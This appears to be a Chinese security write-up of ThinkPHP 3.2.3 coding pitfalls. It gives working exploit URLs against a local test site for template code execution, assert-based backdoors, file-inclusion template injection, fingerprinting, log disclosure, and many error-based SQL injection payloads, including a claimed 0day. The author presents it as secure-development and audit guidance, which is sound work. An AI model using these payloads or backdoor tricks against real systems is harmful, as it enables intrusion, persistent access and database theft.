0x00 简介

已下是阅读须知
1, 本文所用框架是官方Thinkphp3.2.3
2, 本文所举例子并不关TP这个框架什么事情,也没有吐槽TP的意思,只是单纯的希望帮助使用TP的开发者更好的认识这框架,能够安全的利用框架,明白在使用TP的过程中,哪一些操作是可能会造成安全问题的。
3,本文,不涉及什么源码解析,就是单纯的告诉你们,什么样子的情况下会造成注入,什么样子会造成命令执行,什么样子会造成模版注入之类的,源码解析本文不会讲 : )

为什么会有这篇水文?
1, 因为TP3.2占比还是很高
2, 因为我见过的使用TP3.2的或多或少都会踩一下这些雷区
3, 自己公司因为历史原因部分业务使用的是TP3开发的,所以记录一下,防止内部踩雷

注:本文例子有的是网上的,有的是自己的,基本上我手上所有的都报的差不多了。

注:本文对于黑盒渗透基本没什么用所以读者看的时候别抱太多想法,祝大家白盒赚零花钱顺顺利利 : )

0x01 下载安装测试代码

下载地址:http://www.thinkphp.cn/download/610.html

自己配置一下数据库路径:test_thinkphp_3.2.3\Application\Common\Conf\config.php

自己安装,安装完以后:访问一下
http://test_thinkphp_3.2.3.test/index.php/Home/Index/index
没报错就是成功

开启debug 方便本地测试
路径:test_thinkphp_3.2.3\index.php

0x02 各种奇奇怪怪的雷区

0x02.1 使用 $this->show 这种情况下会造成命令执行

url:http://test_thinkphp_3.2.3.test/index.php/Home/Index/index?test=<php>phpinfo();</php>




这个问题,大部分使用 php模板引擎技术 外部可以控制的情况下,都容易存在这种所以不过多解释=-= 反正不关tp框架的问题就是了。

0x02.2 使用 $this->display这种情况下会造成命令执行

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/testDisplay?test=<php>phpinfo();</php>



0x02.3 使用 $this->fetch这种情况下会造成命令执行

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/testFetch1?test=<php>phpinfo();</php>


0x02.3 当想留后门时,可以利用I 函数造成命令执行留后门

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/testI?i=assert
POST: test = phpinfo();


0x02.4 当想留后门时,可以利用 M 方法中的偏门方法filter 造成命令执行留后门

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/testFilter?test=assert
POST: data = phpinfo()


0x02.5 这样使用 $this->display的情况下可能会造成服务端模板注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/testDisplay2?test=../phpinfo.jpg



0x02.6 这样使用$this->fetch的情况下可能会造成服务端模板注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/testFetch2?test=./phpinfo.jpg



0x02.7 thinkphp 指纹识别的方法

方法一:
http://test_thinkphp_3.2.3.test/index.php?c=4e5e5d7364f443e28fbf0d3ae744a59a
方法二(此方法需要 url重写 不然一般都是报错):
http://test_thinkphp_3.2.3.test/4e5e5d7364f443e28fbf0d3ae744a59a



如果有出现 图片不是404 那么基本上就是TP框架了!

方法三:
http://test_thinkphp_3.2.3.test/ThinkPHP/logo.png
如果出现了logo 那么就是tp了

方法四:
http://test_thinkphp_3.2.3.test/ThinkPHP/LICENSE.txt

0x02.8 如果debug之前没有关,或是目录限制没做好,可能造成信息泄露

ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,所以如果你之前在线上开启过debug目录限制又没做好,那么就可以尝试利用

目录:test_thinkphp_3.2.3\index.php


ThinkPHP3.2 结构:Application\Runtime\Logs\Home\18_07_27.log
ThinkPHP3.2 解析:项目名\Runtime\Logs\Home\年份_月份_日期.log

那么就可以尝试利用:
http://test_thinkphp_3.2.3.test/Application/Runtime/Logs/Home/18_07_27.log

0x03 开发者造成的各种奇奇怪怪的注入

0x03.1 前提描述:

注入基本上是我们每个开发者都会遇到的问题了,而框架已经帮我们解决了一部分,可是更多的情况框架是解决不了的,因此我们需要了解与清楚地知道 使用 tp 什么情况下外部控制是会造成sql注入的问题的。

注:这和TP真没关系,其实就是借TP讲解,现在经常造成注入的地方,而且能出现这种例子的,大部分都是开发者的水平问题了

0x03.2 开发者失误的情况下各种可注入的情况 field注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/fieldSql

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/fieldSql?table_name='test

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/fieldSql?table_name=test from test where (extractvalue (1,concat(0x7e,(SELECT USER()), 0x7e))) – a

这是因为 底层是直接字符串拼接的然后带入数据库,框架的开发者,肯定也没想到会有人这样玩,因为这里一般是不会开放给外部控制的

0x03.3 开发者失误的情况下各种可注入的情况 order注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/orderSql

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/orderSql?order=id and(updatexml(1,concat(0x7e,(select user())),0))

这是因为 底层是直接字符串拼接的然后带入数据库,框架的开发者,肯定也没想到会有人这样玩,因为这里一般是不会开放给外部控制的

0x03.4 开发者失误的情况下各种可注入的情况 comment注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/commentSql

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/commentSql?comment=*/ where updatexml(1,concat(0x7e,(select user())),0) /*

0x03.5 开发者失误的情况下各种可注入的情况 group注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/groupSql

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/groupSql?group=id,updatexml(1,concat(0x7e,(select user())),0)

0x03.6 开发者失误的情况下各种可注入的情况 having注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/havingSql?having=id

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/havingSql?having=id and updatexml(1,concat(0x7e,(select user())),0)

0x03.7 使用原生还不过滤的情况 query注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/querySql?id=1 and updatexml(1,concat(0x7e,(select user())),0)

0x03.8 使用原生还不过滤的情况 execute注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/executeSql?id=1 and updatexml(1,concat(0x7e,(select user())),0)

0x03.9 统计查询外部可控制时造成的注入( Count,Max,Min,Avg,Sum )

http://test_thinkphp_3.2.3.test/index.php/Home/Index/info?test=1) from test where updatexml(1,concat(0x7e,(select user())),0) -- a


剩下的几个都是同理

0x04.0 setInc与setDec 外部可控制时将会造成注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/setSql?test= 1 WHERE id =1 and updatexml(1,concat(0x7e,(select user())),0) -- a

0x04.1 重点-开发者最容易导致sql注入的地方-WHERE注入

注:这里要很郑重说明提醒一下!
使用thinkphp 一定要 使用 系统I函数避免直接使用 $_GET $_POST $_COOKIE
否则不是可能会造成注入,是一定会造成注入的问题!
外部可控制的参数如果是数字请一定要转整 不是数字是字符的 一定要知道什么情况会转义,什么时候不会。

0x04.1.1 即使使用了I函数也是不讲道理直接日穿型 1

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest1?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,(select user())),0)

0x04.1.2 即使使用了I函数也是不讲道理直接日穿型 2

只要条件是setField并且 where 中你可以控制的情况,无视框架直接注入即可 : )
url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest2?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,(select user())),0)

0x04.1.3 即使使用了I函数也是不讲道理直接日穿型 3

一般来说不会有这种写法,但是还是要告诉你们不能这样写,基本上使用了 exp 就是裸奔了,所以没什么好说的。
url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest3

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest3?id=%3D1 and updatexml(1,concat(0x7e,(select user())),0)

0x04.1.4 即使使用了I函数也是不讲道理直接日穿型 4

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest4?id=(2) and updatexml(1,concat(0x7e,(select user())),0)

0x04.1.5 讲道理型的where 注入

像这种直接 $_GET $_POST $_COOKIE 等等只要能够构造数组进入where 的就可以不用讲什么道理了。直接注就是了,如下是例子
url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/whereSqlTest5?id[0]=exp&id[1]= In (2) and updatexml(1,concat(0x7e,(select user())),0)

0x04.1.6 save / add 可直接注入的情况

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/saveAddSqlTest?test[0]=exp&test[1]= 1 and updatexml(1,concat(0x7e,(select user())),0)

0x04.1.7 使用组合查询时的注入方式1 _string注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/sqlTest1?test=updatexml(1,concat(0x7e,(select user())),0)

0x04.1.8 使用组合查询时的注入方式2 _query注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/sqlTest2?test=`id`/**/in(2)/**/and/**/updatexml(1,concat(0x7e,(select/**/user())),0))/**/%23

0x04.1.9 使用组合查询时的注入方式3 _complex注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/sqlTest3?test=1=1 and updatexml(1,concat(0x7e,(select user())),0)

0x05.0 0day thinkphp3.2 find/select/delete注入

url: http://test_thinkphp_3.2.3.test/index.php/Home/Index/testSqlFind?test[where]=updatexml(1,concat(0x7e,(select user())),0)

0x05 总结

市面上现在主流的php 框架
thinkphp3.2 thinkphp5 laravel yii CodeIgniter
这些框架都有优秀,有了他们php才显得那么多彩,而也是有他们,市场上的占有率一直的飙升。
需要知道的是因为框架本身就没有安全这个概念,大部分的问题都是开发者的代码抒写问题,然后又刚好踩了一下框架的雷区,导致了各种问题。
而他们又是可能在实际中会遇到的,所以有了本篇文章。当然不是说我天天故意针对tp因为上面我提到的框架,我类似这样的文档我全都整理了一份。

我是真的挺喜欢查看框架的源码的,因为你都不知道 PHP这个行业对框架的依赖有多高。
所以熟读PHP的框架对于我白盒简直是舒服。因为我可以自己整理出一份关于框架的审计文档。然后在日常审计人家的cms时,只要确定了人家是某个框架做的cms,那么就可以大大的降低我的审计成本。
因为这时,我只需要先搜索查看开发者是否踩了框架的雷区就可以直接定位到一些漏洞。

最后在此说明一次,我真没有想搞tp,我本身公司也是使用thinkphp 进行项目的开发,导致我对这个框架简直不要太熟,也让我读它的时间最长,而同事包括我也会有时踩到这些雷区导致各位问题的出现,所以才会统计起来。

水文-Thinkphp3.2.3安全开发须知.zip (4.354 MB) 下载附件
源链接

Hacking more

...